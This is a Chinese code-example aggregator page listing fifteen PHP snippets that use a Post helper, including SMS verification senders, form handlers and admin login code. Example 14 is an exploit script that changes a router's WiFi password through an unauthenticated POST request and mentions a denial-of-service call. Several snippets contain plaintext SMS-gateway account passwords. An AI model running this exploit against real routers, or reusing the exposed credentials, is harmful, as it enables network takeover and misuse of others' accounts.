当前位置: 首页>>代码示例>>PHP>>正文


PHP Post函数代码示例

本文整理汇总了PHP中Post函数的典型用法代码示例。如果您正苦于以下问题:PHP Post函数的具体用法?PHP Post怎么用?PHP Post使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了Post函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: sendSMS

 public function sendSMS()
 {
     $post_code = isset($_POST['post_code']) ? $_POST['post_code'] : '';
     $phone_num = isset($_POST['telephone']) ? $_POST['telephone'] : '';
     //         $post_code='U2FsdGVkX1+zY61T/9h6KxyTBWVwbNR9Z01QjZN5EmT5BzDIEROXMFb9it8VgTrW
     //         Yippi/B79Y0u+ZXJMwSLXGo8imoz9OTrB3k0uhvjIEyi4pF27xCm/Cg0pW0T3SoS
     //         9oCORpIFF/600rCAvhDsMOADCKCBtvLhpL4YpLKHQ3/jqQFsjWF8YUVMc0x9LtPa
     //         3eeGQIFsdRDr2nSWMlnGQExvNvyKnfLWUrH+YkJDIJlYzXihdv32yMw+vCf/DDa2
     //         Oq4CU2BkzLqff4IjGmA/9+FP2SS19kDMzdf5e1DO132QBhHDrLy1ffrSIabFRHVf
     //         SVDsy1qZSsC7Ea24RdmQBQ==';
     if ($phone_num == '') {
         return show(103, '手机号不能为空');
     }
     if (preg_match('/^1[34578][0-9]{9}$/', $phone_num)) {
     } else {
         return show(101, '手机号格式不正确');
     }
     $mobile_code = random(6, 1);
     //random()是公共自定义函数
     $target = "http://106.ihuyi.cn/webservice/sms.php?method=Submit";
     $post_data = "account=cf_guoqingyu&password=luping521&mobile=" . $phone_num . "&content=" . rawurlencode("您的校验码是:" . $mobile_code . "。请不要把校验码泄露给其他人。如非本人操作,可不用理会!");
     //密码可以使用明文密码或使用32位MD5加密
     $gets = xml_to_array(Post($post_data, $target));
     if ($gets['SubmitResult']['code'] == 2) {
         S('phone_num', $phone_num, 60);
         S($phone_num . 'mobile_code', $mobile_code, 60);
         return show(104, '发送成功');
     } else {
         return show(102, '发送失败');
     }
 }
开发者ID:283541486,项目名称:kaixinwa2.0,代码行数:31,代码来源:SmsController.class.php

示例2: Req

/**
 * $_REQUEST
 *
 * @param $key
 * @return mixed
 */
function Req($key, $type = '')
{
    if (!Post($key)) {
        return Get($key, $type);
    } else {
        return Post($key, $type);
    }
}
开发者ID:kungyu,项目名称:camelphp,代码行数:14,代码来源:ShortFunc.php

示例3: elseif

                <?php 
            } elseif ($i == 12) {
                ?>
                    <div class="Box-GroupMedium GroupWithAd">

                        <?php 
                Post($i, "medium");
                ?>

                <?php 
            } elseif ($i == 28) {
                ?>
                    <div class="Box-GroupBig">

                        <?php 
                Post($i, "medium");
                ?>

                    </div>
                <?php 
            }
            ?>
            <?php 
        }
        ?>
            
            <?php 
        $i++;
        ?>

            <?php 
开发者ID:ferreiro,项目名称:1001_m4d,代码行数:31,代码来源:page-music.php

示例4: cleanMySQL

<?php

require_once "libs/fb_functions.php";
if (Post()) {
    require_once "inc/load.inc.php";
    $first = cleanMySQL(ucwords($_POST['firstname']));
    $last = cleanMySQL(ucwords($_POST['lastname']));
    $email = cleanMySQL(strtolower($_POST['email_reg']));
    $email2 = cleanMySQL(strtolower($_POST['email_confirm']));
    $password = sha1($_POST['password'] . "5spoonsOFsalt");
    $sex = cleanMySQL($_POST['sex']);
    $birthdate = cleanMySQL($_POST['birthday_month'] . "/" . $_POST['birthday_day'] . "/" . $_POST['birthday_year']);
    // start PHP validation
    if (!isset($_SESSION)) {
        session_start();
    }
    if (strlen($first) < 3 || strlen($last) < 3 || $email != $email2 || strlen($sex) > 1 && ($sex != 1 || $sex != 2) || $_POST['birthday_month'] == 0 || $_POST['birthday_day'] == 0 || $_POST['birthday_year'] == 0) {
        $_SESSION['reg_error'] = "All fields must be filled";
        Back();
        exit;
    }
    // Search for existing user in our "users" table
    $find = mysql_query("SELECT Email FROM Users WHERE Email='{$email}'", $con) or die(mysql_error());
    if (!mysql_num_rows($find)) {
        $insert = mysql_query("INSERT INTO Users(Email, Pass) VALUES('{$email}', '{$password}')", $con) or die(mysql_error());
        if ($insert) {
            $find = mysql_query("SELECT UID FROM Users WHERE Email='{$email}'", $con) or die(mysql_error());
            $F = mysql_fetch_array($find);
            if ($F) {
                $insert = mysql_query("INSERT INTO Profiles(UID, Firstname, Lastname, Sex, Birthday) VALUES('{$F['UID']}', '{$first}', '{$last}', '{$sex}', '{$birthdate}')", $con) or die(mysql_error());
                $_SESSION['account_created'] = "You're account was successfully created.";
开发者ID:robertorb21,项目名称:myFacebook,代码行数:31,代码来源:register.php

示例5: CalendarPost

function CalendarPost()
{
    global $context, $txt, $user_info, $sourcedir, $scripturl;
    global $modSettings, $topic, $smcFunc;
    // Well - can they?
    isAllowedTo('calendar_post');
    // We need this for all kinds of useful functions.
    require_once $sourcedir . '/Subs-Calendar.php';
    // Cast this for safety...
    if (isset($_REQUEST['eventid'])) {
        $_REQUEST['eventid'] = (int) $_REQUEST['eventid'];
    }
    // Submitting?
    if (isset($_POST[$context['session_var']], $_REQUEST['eventid'])) {
        checkSession();
        // Validate the post...
        if (!isset($_POST['link_to_board'])) {
            validateEventPost();
        }
        // If you're not allowed to edit any events, you have to be the poster.
        if ($_REQUEST['eventid'] > 0 && !allowedTo('calendar_edit_any')) {
            isAllowedTo('calendar_edit_' . (!empty($user_info['id']) && getEventPoster($_REQUEST['eventid']) == $user_info['id'] ? 'own' : 'any'));
        }
        // New - and directing?
        if ($_REQUEST['eventid'] == -1 && isset($_POST['link_to_board'])) {
            $_REQUEST['calendar'] = 1;
            require_once $sourcedir . '/Post.php';
            return Post();
        } elseif ($_REQUEST['eventid'] == -1) {
            $eventOptions = array('board' => 0, 'topic' => 0, 'title' => substr($_REQUEST['evtitle'], 0, 60), 'member' => $user_info['id'], 'start_date' => sprintf('%04d-%02d-%02d', $_POST['year'], $_POST['month'], $_POST['day']), 'span' => isset($_POST['span']) && $_POST['span'] > 0 ? min((int) $modSettings['cal_maxspan'], (int) $_POST['span'] - 1) : 0);
            insertEvent($eventOptions);
        } elseif (isset($_REQUEST['deleteevent'])) {
            removeEvent($_REQUEST['eventid']);
        } else {
            $eventOptions = array('title' => substr($_REQUEST['evtitle'], 0, 60), 'span' => empty($modSettings['cal_allowspan']) || empty($_POST['span']) || $_POST['span'] == 1 || empty($modSettings['cal_maxspan']) || $_POST['span'] > $modSettings['cal_maxspan'] ? 0 : min((int) $modSettings['cal_maxspan'], (int) $_POST['span'] - 1), 'start_date' => strftime('%Y-%m-%d', mktime(0, 0, 0, (int) $_REQUEST['month'], (int) $_REQUEST['day'], (int) $_REQUEST['year'])));
            modifyEvent($_REQUEST['eventid'], $eventOptions);
        }
        updateSettings(array('calendar_updated' => time()));
        // No point hanging around here now...
        redirectexit($scripturl . '?action=calendar;month=' . $_POST['month'] . ';year=' . $_POST['year']);
    }
    // If we are not enabled... we are not enabled.
    if (empty($modSettings['cal_allow_unlinked']) && empty($_REQUEST['eventid'])) {
        $_REQUEST['calendar'] = 1;
        require_once $sourcedir . '/Post.php';
        return Post();
    }
    // New?
    if (!isset($_REQUEST['eventid'])) {
        $today = getdate();
        $context['event'] = array('boards' => array(), 'board' => 0, 'new' => 1, 'eventid' => -1, 'year' => isset($_REQUEST['year']) ? $_REQUEST['year'] : $today['year'], 'month' => isset($_REQUEST['month']) ? $_REQUEST['month'] : $today['mon'], 'day' => isset($_REQUEST['day']) ? $_REQUEST['day'] : $today['mday'], 'title' => '', 'span' => 1);
        $context['event']['last_day'] = (int) strftime('%d', mktime(0, 0, 0, $context['event']['month'] == 12 ? 1 : $context['event']['month'] + 1, 0, $context['event']['month'] == 12 ? $context['event']['year'] + 1 : $context['event']['year']));
        // Get list of boards that can be posted in.
        $boards = boardsAllowedTo('post_new');
        if (empty($boards)) {
            fatal_lang_error('cannot_post_new', 'permission');
        }
        // Load the list of boards and categories in the context.
        require_once $sourcedir . '/Subs-MessageIndex.php';
        $boardListOptions = array('included_boards' => in_array(0, $boards) ? null : $boards, 'not_redirection' => true, 'use_permissions' => true, 'selected_board' => $modSettings['cal_defaultboard']);
        $context['event']['categories'] = getBoardList($boardListOptions);
    } else {
        $context['event'] = getEventProperties($_REQUEST['eventid']);
        if ($context['event'] === false) {
            fatal_lang_error('no_access', false);
        }
        // If it has a board, then they should be editing it within the topic.
        if (!empty($context['event']['topic']['id']) && !empty($context['event']['topic']['first_msg'])) {
            // We load the board up, for a check on the board access rights...
            $topic = $context['event']['topic']['id'];
            loadBoard();
        }
        // Make sure the user is allowed to edit this event.
        if ($context['event']['member'] != $user_info['id']) {
            isAllowedTo('calendar_edit_any');
        } elseif (!allowedTo('calendar_edit_any')) {
            isAllowedTo('calendar_edit_own');
        }
    }
    // Template, sub template, etc.
    loadTemplate('Calendar');
    $context['sub_template'] = 'event_post';
    $context['page_title'] = isset($_REQUEST['eventid']) ? $txt['calendar_edit'] : $txt['calendar_post_event'];
    $context['linktree'][] = array('name' => $context['page_title']);
}
开发者ID:valek0972,项目名称:hackits,代码行数:85,代码来源:Calendar.php

示例6: sendMessageOld

function sendMessageOld($mobile, $content, $linkid = 0, $tag = "", $comment = "")
{
    $blackList = array("13429616772", "15391660000", "18898762014", "15282025307", "18308359754", "17093432751", "15021092824", "15752934500", "15272675888", "18307835916", "13705229609", "15555571993", "13373916567", "13316097070", "18917196084", "13265186597", "18707991166", "13143179652", "18767993049", "15050467232", "13070049756", "15759721798", "13799663444", "18602725510", "13886692636", "13697293588", "13637538515", "15359555317", "15634999222", "18171901222", "13014063026", "15703426792", "15023824626");
    if (in_array($mobile, $blackList)) {
        return false;
    }
    $mobileCountbyIP = getMobileCountByIP($_SERVER["REMOTE_ADDR"]);
    if ($mobileCountbyIP > 10) {
        $code = 500;
        return array("code" => 500, "msg" => 'IP受限');
        $logInfo['ip'] = $_SERVER["REMOTE_ADDR"];
        $logInfo['status'] = 3;
        $logInfo['link_id'] = $linkid;
        $logInfo['tag'] = $tag;
        $logInfo['comment'] = $comment;
        $logInfo['mobile'] = $mobile;
        $logInfo['content'] = $content;
        $logInfo['msg'] = "IP受限";
        $logInfo['created_at'] = $logInfo['updated_at'] = time();
        M("sms_log")->add($logInfo);
        return array("code" => $code, "msg" => $logInfo['msg']);
    }
    $mobileCount = getMobileCount($mobile);
    if ($mobileCount > 5) {
        $code = 500;
        return array("code" => 500, "msg" => '单日平台发送条数超过5条');
        $logInfo['ip'] = $_SERVER["REMOTE_ADDR"];
        $logInfo['status'] = 3;
        $logInfo['link_id'] = $linkid;
        $logInfo['tag'] = $tag;
        $logInfo['comment'] = $comment;
        $logInfo['mobile'] = $mobile;
        $logInfo['content'] = $content;
        $logInfo['msg'] = "单日平台发送条数超过5条";
        $logInfo['created_at'] = $logInfo['updated_at'] = time();
        M("sms_log")->add($logInfo);
        return array("code" => $code, "msg" => $logInfo['msg']);
    }
    $target = "http://106.ihuyi.cn/webservice/sms.php?method=Submit";
    $post_data = "account=cf_zpkj&password=renrenlie231&mobile=" . $mobile . "&content=" . rawurlencode($content);
    $gets = xml_to_array(Post($post_data, $target));
    if ($gets['SubmitResult']['code'] == 2) {
        $code = 200;
        $status = 2;
    } else {
        $status = 3;
        $code = 500;
        //        return $gets;
    }
    $sql = "INSERT INTO `stj_sms_log` (link_id,tag,comment,mobile,content,msg,created_at,updated_at,status,ip) values ('{$linkid}','{$tag}','{$comment}','{$mobile}','{$content}','" . $gets['SubmitResult']['msg'] . "','" . time() . "','" . time() . "','{$status}','{$_SERVER['REMOTE_ADDR']}')";
    M("sms_log")->query($sql);
    return array("code" => $code, "msg" => $gets['SubmitResult']['msg']);
}
开发者ID:xiaoyueer98,项目名称:wap.rrl.com,代码行数:53,代码来源:common.php

示例7: sendCode

 public function sendCode()
 {
     //验证手机号
     $phone = I('phone', '');
     if (empty($phone)) {
         $this->ajaxReturn(array('code' => 0, 'msg' => '手机号码不存在'));
         return;
     }
     if (!is_phone($phone)) {
         $this->ajaxReturn(array('code' => 0, '手机号码格式不正确'));
         return;
     }
     //识别码 1注册 2找回密码
     $recognition = I('recognition', 0, 'intval');
     if (!$recognition) {
         $this->ajaxReturn(array('code' => 0, 'msg' => '识别码不存在'));
         return;
     }
     if ($recognition == 1) {
         if ($this->userModel->where("phone={$phone}")->count()) {
             $this->ajaxReturn(array('code' => 0, 'msg' => '该手机号已被注册'));
             return;
         } else {
             $recognition = 0;
         }
     } else {
         $recognition = 0;
     }
     if (!$recognition) {
         $mobile_code = random(4, 1);
         $target = "http://106.ihuyi.cn/webservice/sms.php?method=Submit";
         $post_data = "account=cf_1206038615&password=yefei123&mobile=" . $phone . "&content=" . rawurlencode("您的验证码是:" . $mobile_code . "。请不要把验证码泄露给其他人。");
         //密码可以使用明文密码或使用32位MD5加密
         $gets = xml_to_array(Post($post_data, $target));
         if ($gets['SubmitResult']['code'] == 2) {
             $_SESSION['phone'] = $phone;
             $_SESSION['phone_code'] = $mobile_code;
         }
         $this->ajaxReturn(array("code" => 1, "验证码发送成功"));
     }
 }
开发者ID:184609680,项目名称:wcy_weixin_bbs,代码行数:41,代码来源:UserController.class.php

示例8: get_addsms

 /**
  * 获取验证码
  */
 function get_addsms()
 {
     $mobile = $_POST['mobile'];
     $send_code = $_POST['send_code'];
     if ($_POST['is_new']) {
         if (!$this->ms->user->check_phone_mob($mobile)) {
             $this->json_error("手机号码已经存在");
             return;
         }
     }
     if (empty($mobile)) {
         $this->json_error("手机号码不存在");
     }
     if (!is_phone($mobile)) {
         $this->json_error("手机格式不正确");
     }
     if (empty($_SESSION['send_code']) or $send_code != $_SESSION['send_code']) {
         //防用户恶意请求
         exit('请求超时,请刷新页面后重试');
     }
     $mobile_code = $this->random(4, 1);
     $target = "http://106.ihuyi.cn/webservice/sms.php?method=Submit";
     $post_data = "account=cf_1206038615&password=yefei123&mobile=" . $mobile . "&content=" . rawurlencode("您的验证码是:" . $mobile_code . "。请不要把验证码泄露给其他人。");
     //密码可以使用明文密码或使用32位MD5加密
     $gets = xml_to_array(Post($post_data, $target));
     if ($gets['SubmitResult']['code'] == 2) {
         $_SESSION['mobile'] = $mobile;
         $_SESSION['mobile_code'] = $mobile_code;
     }
     $this->json_result();
 }
开发者ID:184609680,项目名称:wcy_O2O_95180,代码行数:34,代码来源:member.app.php

示例9: sprintf

        $hash = sprintf('%0' . $length . 'd', mt_rand(0, pow(10, $length) - 1));
    } else {
        $hash = '';
        $chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789abcdefghjkmnpqrstuvwxyz';
        $max = strlen($chars) - 1;
        for ($i = 0; $i < $length; $i++) {
            $hash .= $chars[mt_rand(0, $max)];
        }
    }
    return $hash;
}
$target = "http://106.ihuyi.cn/webservice/sms.php?method=Submit";
$mobile = $_POST['mobile'];
$send_code = $_POST['send_code'];
$mobile_code = random(4, 1);
if (empty($mobile)) {
    exit('手机号码不能为空');
}
if (empty($_SESSION['send_code']) or $send_code != $_SESSION['send_code']) {
    //防用户恶意请求
    exit('请求超时,请刷新页面后重试');
}
$post_data = "account=cf_zpkj&password=840a6d63c511f5b0a61afc7352c207f3&mobile=" . $mobile . "&content=" . rawurlencode("您的验证码是:" . $mobile_code . "。请不要把验证码泄露给其他人。");
//密码可以使用明文密码或使用32位MD5加密
//840a6d63c511f5b0a61afc7352c207f3
$gets = xml_to_array(Post($post_data, $target));
if ($gets['SubmitResult']['code'] == 2) {
    $_SESSION['mobile'] = $mobile;
    $_SESSION['mobile_code'] = $mobile_code;
}
echo $gets['SubmitResult']['msg'];
开发者ID:xiaoyueer98,项目名称:pc.rrl.com,代码行数:31,代码来源:sms.php

示例10: checkbackto

function checkbackto($do_jump, $msg = '')
{
    if ($msg == '') {
        $msg = Trans('Continue');
    }
    $backto = Post('backto');
    if ($backto == '') {
        $backto = Get('backto');
    }
    if ($backto != '') {
        if ($do_jump) {
            echo oria_jumpto($backto, $msg);
        } else {
            echo oria_butlink($msg, $backto);
        }
    }
}
开发者ID:laiello,项目名称:oria-inc-php,代码行数:17,代码来源:oria.inc.php

示例11: AdminModel

<?php

$adminModel = new AdminModel();
$msg = "";
if (Post("remove_id")) {
    $admin = new AdminModel(intval(Post("remove_id")));
    if (!$admin->IsExists()) {
        trigger_error("Internal error. Invalid admin id.", E_USER_ERROR);
    }
    $isDel = $admin->Delete();
    $msg = $isDel ? MsgOk("Администратор успешно удален") : MsgErr("Ошибка удаления администратора");
    $_POST = array();
}
$admins = array();
foreach ($adminModel->GetList() as $aid) {
    $admins[$aid] = new AdminModel($aid);
}
开发者ID:AlexSabur,项目名称:Component-ManageAdmins,代码行数:17,代码来源:admins.php

示例12: GetCurUrl

echo GetCurUrl();
?>
" method="post" class="form-horizontal" role="form">
        <input type="hidden" name="is_login" value="1">
        <div class="form-group">
            <div class="col-lg-offset-2 col-lg-6">
                <?php 
echo $msg;
?>
            </div>
        </div>
        <div class="form-group">
            <label for="inputLogin" class="col-lg-2 control-label">Логин</label>
            <div class="col-lg-6">
                <input type="text" class="form-control" id="inputLogin" autocomplete="on" name="login" value="<?php 
echo Post("login");
?>
" placeholder="Введите ваш логин">
            </div>
        </div>
        <div class="form-group">
            <label for="inputPassword" class="col-lg-2 control-label">Пароль</label>
            <div class="col-lg-6">
                <input type="password" class="form-control" id="inputPassword" autocomplete="on" name="pwd" placeholder="Введите ваш пароль">
            </div>
        </div>
        <div class="form-group">
            <div class="col-lg-offset-2 col-lg-6">
                <button type="submit" class="btn btn-primary">Войти</button>
            </div>
        </div>
开发者ID:AlexSabur,项目名称:Component-AdminSector,代码行数:31,代码来源:login.php

示例13: VALUES

    $db->query("INSERT INTO {$open_tableName} (ip,time,subsite) VALUES ('{$ip}',{$time},'')");
} else {
    if ($op == 'reg') {
        $ad_id = inputFilter($_REQUEST['k']);
        if (empty($ad_id)) {
            $ad_id = 'default';
        }
        $reg_tableName = $ad_id . '_reg';
        $ip = get_real_ip();
        $time = strtotime(date('Y-m-d H:i:s'));
        $game_mark = inputFilter($_REQUEST['game_mark']);
        $db->query("INSERT INTO {$reg_tableName} (ip,time,subsite) VALUES ('{$ip}',{$time},'')");
        exit;
    } else {
        if ($op == 'checkuname') {
            echo Post($api, $_POST);
            exit;
        } else {
            if ($op == 'pv_before') {
                $ad_id = inputFilter($_POST['k']);
                if (empty($ad_id)) {
                    $ad_id = 'default';
                }
                $tableName = $ad_id . '_pv_before';
                $time = strtotime(date('Y-m-d') . ' 00:00:00');
                $db->query("insert into {$tableName} (time,subsite) values ({$time},'')");
                exit;
            } else {
                if ($op == 'pv_after') {
                    $ad_id = inputFilter($_POST['k']);
                    if (empty($ad_id)) {
开发者ID:xx-wu,项目名称:games-cps,代码行数:31,代码来源:ajax.php

示例14: curl_init

{
    try {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $host);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $packet);
        curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0");
        curl_setopt($curl, CURLOPT_REFERER, "Referer: http://192.168.1.1/cgi-bin/WLAN_General.asp");
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($curl);
        curl_close($curl);
        return $result;
    } catch (Exception $e) {
        echo $e->getMessage();
        return "";
    }
}
if (sizeof($argv) < 3) {
    print "Usage : {$argv['0']} 192.168.1.1 NewWifiPassword\n";
    exit(1);
}
$host = $argv[1];
$password = urlencode($argv[2]);
$packet = "access=0&DoScan=0&ChannelDoScan=0&WlanQosFlag=0&HtExtcha=0&IsPtGui=0&SecurityIndexOriginal=3&EnableWLAN=on&SSID_INDEX=0&EnableWLanFlag=1&CountryRegion=1&CountryRegion0=0&CountryRegion1=1&CountryRegion2=2&CountryRegion3=3&CountryRegion5=5&CountryRegion6=6&Countries_Channels=IRAN&Channel_ID=11&HideSsidFlag=0&WPACompatileFlag=WPA2PSK&EncrypType=TKIPAES&PreSecurity_Sel=WPA2PSK&Security_Sel=WPA2PSK&WLANCfgPphrase=&WEP_Key1=&DefWEPKey=1&WLANCfgPSK={$password}&WLANCfgAuthenTimeout=1800&WLANCfgIdleTimeout=3600&WLANCfgWPATimer=1800&WLANCfgRadiusServerAddr=0.0.0.0&WLANCfgRadiusServerPort=1812&WLANCfgRadiusServerKey=&Qos_Sel=None&doSubmitFlag=0";
$target = "http://{$host}/cgi-bin/WLAN_General.asp";
if (strlen(Post($packet, $target)) > 0) {
    print "Seems Changed !";
} else {
    print "Humm , No Chance !";
}
//DoS : Post("",$target) ;
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:31,代码来源:36825.php

示例15: AdminModel

<?php

$admin = new AdminModel(NULL, true);
// Если человек уже залогинен, то редиректим его с этой страницы
if ($admin->IsAuth()) {
    header("Location: " . SiteRoot($g_config['admin_sector']['after_login_page']));
    exit;
}
$msg = '';
if (Post('is_login')) {
    $login = Post('login');
    $pwd = Post('pwd');
    $errs = array();
    if (empty($login)) {
        $errs[] = "Впишите логин";
    }
    if (empty($pwd)) {
        $errs[] = "Впишите пароль";
    }
    if (!count($errs)) {
        $isLogin = $admin->DoLogin($login, $admin->MakeHash($pwd));
        if ($isLogin) {
            header("Location: " . SiteRoot($g_config['admin_sector']['after_login_page']));
            exit;
        } else {
            $errs[] = "Неверный логин или пароль";
        }
    }
    $msg = MsgErr(implode('<br>', $errs));
}
开发者ID:AlexSabur,项目名称:Component-AdminSector,代码行数:30,代码来源:login.php


注:本文中的Post函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。